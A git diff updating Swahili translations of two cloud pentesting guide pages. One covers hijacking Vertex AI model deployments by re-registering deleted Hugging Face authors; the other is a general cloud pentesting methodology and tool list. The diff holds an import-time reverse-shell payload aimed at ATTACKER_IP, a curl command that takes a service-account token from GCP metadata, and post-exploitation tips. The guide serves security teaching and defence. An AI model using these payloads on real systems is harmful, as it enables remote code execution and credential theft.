+- Old author deleted: ukurasa wa author unarudisha 404; model path inaweza kurudisha 404 hadi takeover.
+- Transferred models: old model path inatoa 307 kwenda kwa mmiliki mpya wakati author wa zamani bado yupo. Ikiwa author wa zamani baadaye afutwe na kusajiliwa tena, legacy path itatangazwa kwa repo ya mshambuliaji.
 
 Quick checks with curl:
 ```bash
@@ -28,24 +28,24 @@ curl -I https://huggingface.co/<Author>/<ModelName>
 # 307 = redirect to new owner (transfer case)
 # 404 = missing (deletion case) until someone re-registers
 ```
-## Mtiririko End-to-end Attack dhidi ya Vertex AI
+## Mtiririko kamili wa shambulio dhidi ya Vertex AI
 
-1) Gundua reusable model namespaces ambazo Model Garden inaorodhesha kama deployable:
-- Tafuta HF models katika Vertex AI Model Garden ambazo bado zinaonyesha kama “verified deployable”.
-- Thibitisha kwenye HF ikiwa mwandishi wa awali ameondolewa au ikiwa modeli ilihamishwa na mwandishi wa zamani baadaye alifutwa.
+1) Gundua namespaces za modeli zinazoweza kutumika tena ambazo Model Garden inaorodhesha kama zinazoweza ku-deploy:
+- Tafuta modeli za HF katika Vertex AI Model Garden ambazo bado zinaonyesha kama “verified deployable”.
+- Thibitisha kwenye HF ikiwa mwandishi wa asili ameondolewa au ikiwa modeli ilihamishwa na mwandishi wa zamani baadaye kuondolewa.
 
-2) Sajili tena mwandishi aliyefutwa kwenye HF na tengeneza tena ModelName ile ile.
+2) Sajili tena mwandishi aliyeondolewa kwenye HF na uunde tena ModelName ile ile.
 
-3) Chapisha repo yenye madhumuni mabaya. Jumuisha code inayotekelezwa wakati modeli inapopakiwa. Mifano inayotekelezeka mara kwa mara wakati wa HF model load:
-- Side effects in __init__.py of the repo
-- Custom modeling_*.py or processing code referenced by config/auto_map
-- Code paths that require trust_remote_code=True in Transformers pipelines
+3) Chapisha repo yenye madhara. Jumuisha code inayotekelezwa wakati wa kupakia modeli. Mifano inayotekelezwa mara kwa mara wakati wa kupakia modeli za HF:
+- Side effects katika __init__.py ya repo
+- modeling_*.py maalum au code ya processing inayorejelewa na config/auto_map
+- Njia za code zinazohitaji trust_remote_code=True katika Transformers pipelines
 
-4) Deployment ya Vertex AI ya legacy Author/ModelName sasa huvuta repo ya mshambuliaji. The loader inatekelezwa ndani ya Vertex AI endpoint container.
+4) Deployment ya Vertex AI ya Author/ModelName ya zamani sasa inavuta repo ya mshambuliaji. Loader inatekelezwa ndani ya container ya endpoint ya Vertex AI.
 
-5) Payload inaunda upatikanaji kutoka mazingira ya endpoint (RCE) kwa ruhusa za endpoint.
+5) Payload inapanua ufikiaji kutoka kwa mazingira ya endpoint (RCE) kwa ruhusa za endpoint.
 
-Mfano wa kipande cha payload kinachotekelezwa wakati wa import (kwa onyesho tu):
+Mfano wa kipande cha payload kinachotekelezwa kwa import (kwa ajili ya maonyesho tu):
 ```python
 # Place in __init__.py or a module imported by the model loader
 import os, socket, subprocess, threading
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
 threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
 ```
 Vidokezo
-- Vifungaji (loaders) katika mazingira halisi vinatofautiana. Integrations nyingi za Vertex AI HF zinakloni na ku-import modules za repo zilizotajwa katika config ya model (mf., auto_map), jambo ambalo linaweza kusababisha utekelezaji wa code. Matumizi mengine yanahitaji trust_remote_code=True.
-- Endpoint kwa kawaida inaendesha ndani ya container maalum yenye wigo mdogo, lakini ni foothold ya awali halali kwa data access na lateral movement katika GCP.
+- Loaders za maisha halisi zinatofautiana. Integrations nyingi za Vertex AI HF hufanya clone na kuimport modules za repo zinazorejelewa na config ya modeli (mfano, auto_map), ambayo inaweza kusababisha execution ya code. Matumizi mengine yanahitaji trust_remote_code=True.
+- Endpoint kwa kawaida inaendesha ndani ya container maalum yenye wigo mdogo, lakini ni foothold halali ya awali kwa upatikanaji wa data na movement ya upande upande ndani ya GCP.
 
 ## Post-Exploitation Tips (Vertex AI Endpoint)
 
-Once code is running inside the endpoint container, consider:
-- Kuhesabu environment variables na metadata kwa ajili ya credentials/tokens
-- Kufikia attached storage au mounted model artifacts
+Mara tu code inapokuwa ikifanya kazi ndani ya endpoint container, fikiria:
+- Kuorodhesha environment variables na metadata kwa ajili ya credentials/tokens
+- Kupata attached storage au mounted model artifacts
 - Kushirikiana na Google APIs kupitia service account identity (Document AI, Storage, Pub/Sub, etc.)
-- Persistence katika model artifact ikiwa platform itare-pull repo
+- Persistence katika model artifact ikiwa platform itarudisha repo
 
-Enumerate instance metadata if accessible (container dependent):
+Orodhesha instance metadata ikiwa inapatikana (container dependent):
 ```bash
 curl -H "Metadata-Flavor: Google" \
 http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
 ```
 ## Mwongozo wa Ulinzi kwa Watumiaji wa Vertex AI
 
-- Weka modeli kwa commit katika HF loaders ili kuzuia kubadilishwa kimya kimya:
+- Pin modeli kwa commit katika HF loaders ili kuzuia ubadilishaji kimya:
 ```python
 from transformers import AutoModel
 m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
 ```
-- Nakili HF models zilizothibitishwa kwenye hifadhi/registry ya ndani inayotegemewa, kisha zi-deploy kutoka huko.
-- Endelea kuchunguza codebases na configs kwa hard-coded Author/ModelName ambazo zimefutwa/kuhamishwa; sasisha hadi namespaces mpya au zi-pin kwa commit.
-- Katika Model Garden, thibitisha asili (provenance) ya modeli na uwepo wa mwandishi kabla ya deployment.
+- Nakilisha HF models zilizothibitishwa kwenye trusted internal artifact store/registry na uzizindue kutoka huko.
+- Endelea kupiga skani codebases na configs kwa ajili ya hard-coded Author/ModelName ambazo zimefutwa/hamishwa; sasisha hadi namespaces mpya au ziweke pinned kwa commit.
+- Kwenye Model Garden, hakikisha provenance ya model na uwepo wa author kabla ya deployment.
 
-## Mikakati ya Utambuzi (HTTP)
+## Vigezo vya Utambuzi (HTTP)
 
-- Mwandishi aliyefutwa: ukurasa wa mwandishi 404; njia ya zamani ya modeli 404 mpaka kunyakuliwa.
-- Model iliyohamishwa: njia ya zamani (legacy path) 307 kwa mwandishi mpya wakati mwandishi wa zamani bado yupo; ikiwa mwandishi wa zamani baadaye afutwe na kujiandikisha tena, njia ya zamani inaweza kuhudumia yaliyomo ya mshambuliaji.
+- Author iliyofutwa: ukurasa wa author 404; legacy model path 404 hadi takeover.
+- Model iliyohamishwa: legacy path 307 kwa author mpya wakati author wa zamani bado yupo; ikiwa author wa zamani baadaye afutwe na kujiandikisha tena, legacy path itahudumia maudhui ya mshambuliaji.
 ```bash
 curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
 ```
 ## Marejeo ya Msalaba
 
-- Angalia mbinu pana na vidokezo vya mnyororo wa ugavi:
+- Angalia mbinu pana na vidokezo vya mnyororo wa usambazaji:
 
 {{#ref}}
 ../../pentesting-cloud-methodology.md

src/pentesting-cloud/pentesting-cloud-methodology.md

@@ -1,4 +1,4 @@
-# Pentesting Mbinu za Wingu
+# Pentesting Mbinu za Cloud
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,39 +6,39 @@
 
 ## Mbinu za Msingi
 
-Kila wingu lina sifa zake, lakini kwa ujumla kuna mambo machache ya **kawaida ambayo pentester anapaswa kukagua** anapomfanyia mtihani mazingira ya wingu:
+Kila mazingira ya mawingu yana sifa zake za kipekee lakini kwa ujumla kuna mambo kadhaa **ya kawaida ambavyo pentester anapaswa kuangalia** wakati wa kupima mazingira ya mawingu:
 
 - **Ukaguzi wa benchmark**
 - Hii itakusaidia **kuelewa ukubwa** wa mazingira na **huduma zinazotumika**
-- Pia itakuwezesha kupata baadhi ya **misconfigurations za haraka** kwani unaweza kufanya sehemu kubwa ya vipimo hivi kwa **zana za otomatiki**
-- **Uorodheshaji wa huduma**
-- Huenda usipate misconfigurations nyingi zaidi hapa ikiwa umefanya kwa usahihi ukaguzi wa benchmark, lakini unaweza kupata baadhi ambazo hazikutazamwa katika ukaguzi wa benchmark.
-- Hii itakuwezesha kujua **ni nini hasa kinachotumika** katika mazingira ya wingu
+- Pia itakuwezesha kupata baadhi ya **misconfigurations ya haraka** kwa sababu unaweza kufanya sehemu kubwa ya vipimo hivi kwa kutumia **zana za otomatiki**
+- **Services Enumeration**
+- Pengine hutapata misconfigurations mingi zaidi hapa ikiwa ulifanya vizuri vipimo vya benchmark, lakini unaweza kupata baadhi ambayo havikutafutwa kwenye mtihani wa benchmark.
+- Hii itakuwezesha kujua **kinachotumika hasa** ndani ya mazingira ya cloud
 - Hii itasaidia sana katika hatua zinazofuata
-- **Kagua assets zilizo wazi**
-- Hii inaweza kufanywa wakati wa sehemu iliyopita; unahitaji **gundua kila kitu kinachoweza kufichuliwa** kwa Internet kwa njia fulani na jinsi kinavyoweza kupatikana.
-- Hapa ninamaanisha **infrastruktura iliyofichuliwa kwa mkono** kama instances zenye kurasa za wavuti au port nyingine zilizo wazi, na pia huduma nyingine zinazodhibitiwa na cloud zinazoweza kusanidiwa kufichuliwa (kama DBs au buckets)
-- Kisha unapaswa kukagua **kama rasilimali hiyo inaweza kufichuliwa au la** (maelezo ya siri? vulnerabilities? misconfigurations katika huduma iliyofichuliwa?)
-- **Kagua ruhusa**
-- Hapa unapaswa **kubaini ruhusa zote za kila role/user** ndani ya wingu na jinsi zinavyotumika
-- Je, kuna akaunti nyingi zenye **ruhusa za juu sana** (zinadhibiti kila kitu)? Mifumo ya funguo iliyotengenezwa haitumiki?... Sehemu kubwa za ukaguzi hizi zilipaswa kufanywa tayari katika ukaguzi wa benchmark
-- Ikiwa mteja anatumia OpenID au SAML au utoaji mwingine wa **federation** unaweza kuhitaji kuwauliza taarifa zaidi kuhusu **jinsi kila role inavyoteuliwa** (si sawa role ya admin kupewa mtumiaji 1 au 100)
-- Haijatosha kupata ni watumiaji gani wenye ruhusa za admin "*:*". Kuna ruhusa nyingi nyingine ambazo, kulingana na huduma zinazotumika, zinaweza kuwa sana **nyeti**.
-- Zaidi ya hayo, kuna njia za **privesc** zinazowezekana kufuatwa kwa kutumia vibaya ruhusa. Mambo haya yote yanapaswa kuzingatiwa na **mara nyingi iwezekanavyo njia za privesc** ziwasilishwe katika ripoti.
-- **Kagua Integrations**
-- Inawezekana sana kwamba **integrations na wingu zingine au SaaS** zimetumika ndani ya mazingira ya wingu.
-- Kwa **integrations za wingu unayechunguza** na platform nyingine unapaswa kuwajulisha **nani anaweza kufikia (au kutumia vibaya) integration hiyo** na unapaswa kuuliza **je, kitendo kinachofanywa ni cha kiasi gani nyeti**.\
-Kwa mfano, nani anaweza kuandika katika bucket ya AWS ambapo GCP inachukua data kutoka (uliza jinsi kitendo hicho kinavyonyeti kwa GCP kinaposhughulikia data hiyo).
-- Kwa **integrations ndani ya wingu unayechunguza** kutoka kwa platform za nje, unapaswa kuuliza **nani ana ufikiaji wa nje wa (kutumia vibaya) integration hiyo** na kukagua jinsi data hiyo inavyotumika.\
-Kwa mfano, ikiwa huduma inatumia Docker image iliyohostwa katika GCR, unapaswa kuuliza nani ana ufikiaji wa kuibadilisha na ni taarifa nyeti na upatikanaji gani vitapatikana kwa image hiyo ikitekelezwa ndani ya AWS cloud.
+- **Angalia mali zilizo wazi**
+- Hii inaweza kufanywa wakati wa sehemu iliyotangulia, unatakiwa **kubaini kila kitu kinachoweza kuwa wazi** kwa Internet kwa namna fulani na jinsi kinavyoweza kufikiwa.
+- Hapa ninamaanisha **infrastructure iliyofunguliwa kwa mikono** kama instances zenye web pages au port nyingine zilizo wazi, na pia kuhusu **cloud managed services ambazo zinaweza kusanidiwa** kufunguliwa (kama DBs au buckets)
+- Kisha unapaswa kuangalia **je rasilimali hiyo inaweza kufunguliwa au la** (taarifa za siri? vulnerabilities? misconfigurations katika service iliyofunguliwa?)
+- **Angalia ruhusa**
+- Hapa unapaswa **kubaini ruhusa zote za kila role/user** ndani ya cloud na jinsi zinavyotumika
+- Je kuna akaunti nyingi zenye **highly privileged** (zinaweza kudhibiti kila kitu)? Funguo zilizotengenezwa hazitumiwi?... Zaidi ya haya ukaguzi ulipaswa kufanywa tayari katika vipimo vya benchmark
+- Ikiwa mteja anatumia OpenID au SAML au nyingine **federation** unaweza kuhitaji kuwauliza kwa **taarifa** zaidi kuhusu **jinsi kila role inavyotengwa** (si sawa role ya admin kuwekewa 1 user au 100)
+- Si vya kutosha **kutambua** ni watumiaji gani wana ruhusa za **admin** "*:*". Kuna ruhusa nyingi **nyingine** ambazo kulingana na huduma zinazotumika zinaweza kuwa za **nyeti**.
+- Zaidi ya hayo, kuna njia za **potential privesc** za kufuatilia kwa kutumia ruhusa. Mambo haya yote yanapaswa kuzingatiwa na **itupe taratibu za privesc kadri iwezekanavyo** kuripotiwa.
+- **Angalia Integrations**
+- Inawezekana sana kwamba **integrations na mawingu mengine au SaaS** zinatumika ndani ya mazingira ya cloud.
+- Kwa **integrations za cloud unazochunguza** na platform nyingine unapaswa taarifa **nani ana access ya (ab)use hiyo integration** na unapaswa kuuliza **je kitendo kinachofanywa ni kiasi gani nyeti**.\
+Kwa mfano, nani anaweza kuandika kwenye AWS bucket ambapo GCP inapata data kutoka (uliza jinsi kitendo kinavyoathiri GCP katika kushughulikia data hiyo).
+- Kwa **integrations ndani ya cloud unazochunguza** kutoka platform za nje, unapaswa kuuliza **nani ana access kwa nje ya (ab)use hiyo integration** na angalia jinsi data hiyo inavyotumika.\
+Kwa mfano, ikiwa service inatumia Docker image iliyohifadhiwa katika GCR, unapaswa kuuliza nani ana access ya kuibadilisha na ni taarifa zipi nyeti na access gani picha hiyo itaipata inapoendeshwa ndani ya AWS cloud.
 
-## Multi-Cloud tools
+## Zana za Multi-Cloud
 
-Kuna zana kadhaa zinazoweza kutumika kujaribu mazingira tofauti ya wingu. Hatua za usakinishaji na viungo vitatajwa katika sehemu hii.
+Kuna zana kadhaa ambazo zinaweza kutumika kujaribu mazingira tofauti ya mawingu. Hatua za usakinishaji na viungo vitaainishwa katika sehemu hii.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-Zana ya **kutambua misconfigurations na privesc path katika cloud na kwa kuvuka cloud/SaaS.**
+Zana ya **kutambua misconfigurations mbaya na privesc path katika mawingu na kati ya mawingu/SaaS.**
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-Inasaidia **AWS, GCP & Azure**. Angalia jinsi ya kusanidi kila mtoa huduma kwenye [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+Inasaidia **AWS, GCP & Azure**. Angalia jinsi ya kusanidi kila mtoa huduma katika [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -146,7 +146,7 @@ done
 
 {{#tabs }}
 {{#tab name="Install" }}
-Pakua na sakinisha Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Au tumia Brew:
+Pakua na usakinishe Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Au tumia Brew:
 ```
 brew tap turbot/tap
 brew install steampipe
@@ -168,9 +168,9 @@ steampipe check all
 ```
 <details>
 
-<summary>Angalia Miradi Zote</summary>
+<summary>Kagua Miradi Yote</summary>
 
-Ili kukagua miradi yote, unahitaji kuunda faili `gcp.spc` inayotaja miradi yote ya kujaribu. Unaweza kufuata maelekezo kutoka kwenye script ifuatayo.
+Ili kukagua miradi yote unahitaji kuunda faili `gcp.spc` inayobainisha miradi yote ya kujaribu. Unaweza kufuata tu maelekezo kutoka kwenye script ifuatayo
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Ili kuangalia **insights nyingine za GCP** (zinazotumika kuorodhesha huduma) tumia: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Ili kuangalia insights nyingine za GCP (zinasadia kuorodhesha huduma) tumia: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
-Ili kuangalia msimbo wa Terraform wa GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Ili kuangalia Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
-Viendelezi vingine vya GCP vya Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Viongezi vingine vya Steampipe kwa GCP: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
 
 {{#tab name="AWS" }}
@@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Ili kukagua msimbo wa Terraform wa AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+Kuangalia Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
-Viendeleo zaidi za AWS za Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+Plugins zaidi za AWS za Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}
 
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-Inahitaji python2.7 na inaonekana haijatunzwa.
+Inahitaji python2.7 na inaonekana haendelezwi.
 
 ### Nessus
 
-Nessus ina skani ya _**Audit Cloud Infrastructure**_ inayounga mkono: AWS, Azure, Office 365, Rackspace, Salesforce. Marekebisho ya ziada kwenye **Azure** yanahitajika kupata a **Client Id**.
+Nessus ina skani ya _**Audit Cloud Infrastructure**_ inayounga mkono: AWS, Azure, Office 365, Rackspace, Salesforce. Inahitaji usanidi wa ziada katika **Azure** ili kupata **Client Id**.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist ni chombo cha **multi-cloud** kwa kupata Assets (Hostnames, IP Addresses) kutoka kwa Cloud Providers.
+Cloudlist ni **zana ya multi-cloud kwa kupata Assets** (Hostnames, IP Addresses) kutoka kwa Cloud Providers.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography ni zana ya Python inayokusanya rasilimali za miundombinu na uhusiano kati yao katika mtazamo wa grafu unaoeleweka kwa urahisi unaotumia hifadhidata ya Neo4j.
+Cartography ni zana ya Python inayounganisha rasilimali za miundombinu na uhusiano kati yao katika muonekano wa grafu unaoeleweka unaoendeshwa na Neo4j database.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase inakusanya mali na uhusiano kutoka kwa huduma na mifumo, ikijumuisha cloud infrastructure, SaaS applications, udhibiti wa usalama, na zaidi, yote katika muonekano wa grafu unaoeleweka ulioungwa mkono na Neo4j database.
+Starbase hukusanya rasilimali na uhusiano kutoka kwa huduma na mifumo ikijumuisha miundombinu ya wingu, programu za SaaS, vidhibiti vya usalama, na mengine katika muonekano wa grafu unaoeleweka unaoungwa mkono na hifadhidata ya Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Gundua watumiaji walio na ruhusa za juu zaidi katika mazingira ya AWS au Azure yaliyokaguliwa, ikijumuisha AWS Shadow Admins. Inatumia powershell.
+Gundua watumiaji wenye vibali vya juu zaidi katika mazingira ya AWS au Azure yaliyoskaniwa, ikiwa ni pamoja na AWS Shadow Admins. Inatumia powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-Zana ya kutafuta miundombinu ya kampuni (lengo), faili, na apps kwenye watoa huduma wakubwa wa cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
+Chombo cha kutafuta miundombinu ya kampuni (lengo), mafaili, na apps kwenye watoa huduma wakubwa wa cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox ni zana ya kutafuta exploitable attack paths katika cloud infrastructure (kwa sasa inasaidia tu AWS & Azure na GCP inakuja hivi karibuni).
-- Ni enumeration tool iliyokusudiwa kukamilisha manual pentesting.
-- Haiundii wala kuharibu data yoyote ndani ya cloud environment.
+- CloudFox ni chombo cha kutafuta exploitable attack paths katika miundombinu ya cloud (kwa sasa inasaidia tu AWS & Azure; GCP itakuja hivi karibuni).
+- Ni chombo cha enumeration kinachokusudiwa kukamilisha pentesting ya manual.
+- Haiundii wala hubadilisha data yoyote ndani ya mazingira ya cloud.
 
-### More lists of cloud security tools
+### Orodha zaidi za zana za usalama za cloud
 
 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
 
@@ -410,12 +410,13 @@ aws-security/
 azure-security/
 {{#endref}}
 
-### Attack Graph
+### Grafu ya Shambulio
 
-[**Stormspotter** ](https://github.com/Azure/Stormspotter) inaunda an “attack graph” ya rasilimali katika Azure subscription. Inawawezesha red teams na pentesters kuona attack surface na fursa za pivot ndani ya tenant, na kuwapa defenders nguvu ya ziada kujiwekea mwelekeo na kipaumbele haraka katika kazi za incident response.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter)huunda “attack graph” ya rasilimali katika Azure subscription. Inawawezesha red teams na pentesters kuona attack surface na fursa za pivot ndani ya tenant, na huwapa defenders nguvu ya ziada kupanga na kuipa kipaumbele kazi za incident response haraka.
 
 ### Office365
 
-Unahitaji **Global Admin** au angalau **Global Admin Reader** (lakini kumbuka kwamba Global Admin Reader ina vikwazo vidogo). Hata hivyo, vikwazo hivyo vinaonekana katika baadhi ya PS modules na vinaweza kuepukwa kwa kufikia features **via the web application**.
+Unahitaji **Global Admin** au angalau **Global Admin Reader** (lakini kumbuka kuwa Global Admin Reader ni mdogo kidogo). Hata hivyo, vikwazo hivyo vinaonekana katika baadhi ya PS modules na vinaweza kuepukika kwa kufikia vipengele **kupitia programu ya wavuti**.
+
 
 {{#include ../banners/hacktricks-training.md}}